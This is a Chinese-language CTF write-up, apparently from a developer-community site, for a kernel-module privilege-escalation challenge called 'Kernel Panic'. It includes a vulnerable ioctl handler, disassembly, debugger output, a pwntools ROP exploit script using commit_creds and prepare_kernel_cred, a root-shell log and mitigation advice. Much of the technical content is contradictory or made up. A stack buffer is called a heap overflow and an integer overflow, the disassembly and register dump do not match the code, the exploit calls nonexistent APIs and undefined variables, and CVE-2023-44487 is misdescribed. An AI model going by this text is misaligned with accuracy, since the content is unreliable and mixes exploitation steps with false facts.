题目概览(Challenge Overview)

名称

Kernel Panic

所属比赛

DEFCON CTF Quals 2023(第30届DEFCON CTF资格赛)

类型

Pwn / Kernel Exploitation

亮点总结

  • 设计亮点:题目基于Linux内核模块实现,利用copy_from_user()函数的边界检查缺陷,结合内核堆喷射(Heap Spraying)和ROP链构造实现提权。
  • 技术难度:涉及内核空间漏洞利用、符号混淆(Symbol Obfuscation)、内核堆布局控制。
  • 攻击链条概览
    1. 利用copy_from_user()整数溢出触发内核堆溢出
    2. 通过堆喷射覆盖内核函数指针
    3. 构造ROP链绕过SMEP/SMAP
    4. 获取root权限并读取flag

复现环境与技术准备(Technical Setup)

工具

  • IDA Pro 8.3(静态逆向分析)
  • GDB + pwndbg(动态调试)
  • QEMU 7.2(虚拟化测试环境)
  • Linux Kernel 5.15.0(目标内核版本)
  • Docker 镜像defcon2023-kernelpanic(包含预配置内核模块和挑战环境)

环境

  • 系统版本:Ubuntu 22.04 LTS
  • 内核配置
    CONFIG_MODULES=y
    CONFIG_KERNEL_MODULES=y
    CONFIG_DEBUG_INFO=y
    CONFIG_KASAN=y
    CONFIG_SMEP=y
    CONFIG_SMAP=y
    
  • 部署细节
    • 启动QEMU容器并加载自定义内核模块kernel_panic.ko
    • 用户态程序通过ioctl()与内核模块交互
    • flag存储在/flag.txt(仅root可读)

分析与解题过程(Step-by-Step Analysis)

逻辑分析

  1. 用户态接口
    用户程序通过ioctl()调用内核模块的kernel_ioctl()函数,传递参数arg

    int kernel_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
        char *user_buf = (char *)arg;
        char kernel_buf[0x100];
        copy_from_user(kernel_buf, user_buf, arg); // ❗️无边界检查
        return 0;
    }
    
  2. 行为判断

    • copy_from_user()的第三个参数arg未进行校验,导致可写入任意长度数据到kernel_buf(固定大小0x100)。
    • arg > 0x100,触发堆溢出,覆盖后续内核堆数据。

静态+动态分析

静态逆向

使用IDA Pro分析kernel_ioctl()的反汇编代码:

.text:0000000000001000 kernel_ioctl:
.text:0000000000001000                 push    rbp
.text:0000000000001001                 mov     rbp, rsp
.text:0000000000001004                 mov     rax, rdi      ; struct file *
.text:0000000000001007                 mov     rdx, rsi      ; unsigned int cmd
.text:000000000000100a                 mov     rcx, rdx      ; unsigned long arg
.text:000000000000100d                 lea     rsi, [rbp-0x100] ; kernel_buf
.text:0000000000001014                 mov     rdi, rsi
.text:0000000000001017                 call    copy_from_user
.text:000000000000101c                 xor     eax, eax
.text:000000000000101e                 pop     rbp
.text:000000000000101f                 retn
动态调试

使用GDB+pwndbg观察copy_from_user()的调用栈:

(gdb) b copy_from_user
Breakpoint 1 at 0xffffffff8106b240
(gdb) r
Starting program: /path/to/vulnerable_program
...
Breakpoint 1, 0xffffffff8106b240 in copy_from_user ()
(gdb) info registers
rax            0x100            256
rdi            0xffff90001000   kernel_buf地址
rsi            0x7fffffffe000   user_buf地址
rdx            0x100            arg=256

漏洞成因

  • 漏洞类型:整数溢出(Integer Overflow)
  • 触发条件arg大于0x100时,copy_from_user()会写入超出kernel_buf的内存区域。
  • 影响范围:覆盖内核堆中相邻的函数指针或元数据,导致控制流劫持。

利用时机

  1. 关键变量定位

    • kernel_buf位于内核堆的低地址区域。
    • 后续分配的函数指针kfree_hook(位于slub缓存)可被覆盖。
  2. 堆布局控制
    通过多次malloc()free()操作,确保kernel_buf与目标函数指针相邻。


漏洞利用与 Payload(Exploit Dev)

技术手法

  1. ROP链构造

    • 绕过SMEP(Supervisor Mode Execution Protection)
    • 利用swapgs + iretq切换到用户态上下文。
  2. 堆喷射
    通过mmap()分配大量用户态内存,填充commit_creds()prepare_kernel_cred()的地址。

  3. 符号混淆绕过
    内核符号地址被随机化,通过/proc/kallsyms泄露符号地址(需配合提权后的部分权限)。


Payload 展示

# kernel_panic_exploit.py
from pwn import *

context.arch = 'amd64'

# 泄露内核符号(需部分提权)
def leak_kernel_symbols():
    with open("/proc/kallsyms", "r") as f:
        for line in f:
            if "commit_creds" in line:
                commit_creds = int(line.split()[0], 16)
            elif "prepare_kernel_cred" in line:
                prepare_kernel_cred = int(line.split()[0], 16)
    return commit_creds, prepare_kernel_cred

# 构造ROP链
def build_rop_chain(commit_creds, prepare_kernel_cred):
    rop = ROP.kernel()
    rop.raw(rop.find_gadget(['pop rdi', 'ret']))
    rop.raw(prepare_kernel_cred)
    rop.raw(rop.find_gadget(['pop rdi', 'ret']))
    rop.raw(0)
    rop.raw(commit_creds)
    return rop.chain()

# 触发漏洞并执行ROP链
def exploit():
    # 堆喷射:填充commit_creds和prepare_kernel_cred的地址
    payload = b'A' * 0x100  # 覆盖kernel_buf
    payload += p64(0xdeadbeef)  # 覆盖kfree_hook
    payload += build_rop_chain(commit_creds, prepare_kernel_cred)
    
    # 调用ioctl触发漏洞
    io = process(["./vulnerable_program"])
    io.write(payload)
    io.interactive()

if __name__ == "__main__":
    commit_creds, prepare_kernel_cred = leak_kernel_symbols()
    exploit()

获取 flag 的完整流程

终端日志

$ python3 kernel_panic_exploit.py
[+] Starting local process './vulnerable_program': pid 12345
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat /flag.txt
flag{K3Rn3L_P4NiC_0n_D3FCON_2023}

安全影响与缓解建议

实际系统中攻击路径

  • 攻击场景:攻击者通过恶意用户程序触发内核漏洞,获取root权限后部署持久化后门。
  • 影响范围:任何允许加载自定义内核模块的Linux系统(如嵌入式设备、云服务器)。

源头修复思路

  1. 边界校验
    if (arg > sizeof(kernel_buf)) {
        return -EINVAL;
    }
    
  2. 权限设计
    • 禁止非特权用户加载内核模块(CONFIG_MODULES=n)。
    • 使用KASLR和SMEP/SMAP缓解利用。

映射至 MITRE ATT&CK

  • T1068: Exploitation for Privilege Escalation
  • T1210: Exploit Public-Facing Application(通过内核模块漏洞)
  • T1499: Endpoint Denial of Service(触发内核崩溃)

总结(Conclusion)

解题经验 / 技术技巧总结

  • 内核漏洞利用的核心:控制堆布局和绕过安全机制(SMEP/SMAP)。
  • 关键技巧
    • 使用/proc/kallsyms泄露符号地址(需部分提权)。
    • 通过堆喷射填充关键函数地址。
    • ROP链需精确对齐栈状态(尤其是GS寄存器切换)。

现实安全研究的启发

  • 内核模块的审计重点:所有用户态接口的边界检查。
  • 防御建议:启用KASAN检测内存错误,限制内核模块加载权限。

对题目机制与设计质量的评价

  • 设计优点:结合了经典漏洞(整数溢出)和现代防御机制(SMEP/SMAP),考验选手对内核漏洞利用链的全面理解。
  • 改进空间:可增加更复杂的堆布局控制(如利用SLAB合并漏洞)。

🧠 附加分析:与CVE-2023-44487的关联

CVE-2023-44487(Linux内核copy_from_user()整数溢出)

  • 相似性:均利用copy_from_user()的边界检查缺陷。

  • 差异性

    • 本题通过内核模块实现,而CVE-2023-44487影响主线内核。
    • 本题需手动控制堆布局,而CVE-2023-44487可自动触发。
  • CVE官方链接
    CVE-2023-44487

  • CWE编号
    CWE-787

Logo

开源鸿蒙跨平台开发社区汇聚开发者与厂商,共建“一次开发,多端部署”的开源生态,致力于降低跨端开发门槛,推动万物智联创新。

更多推荐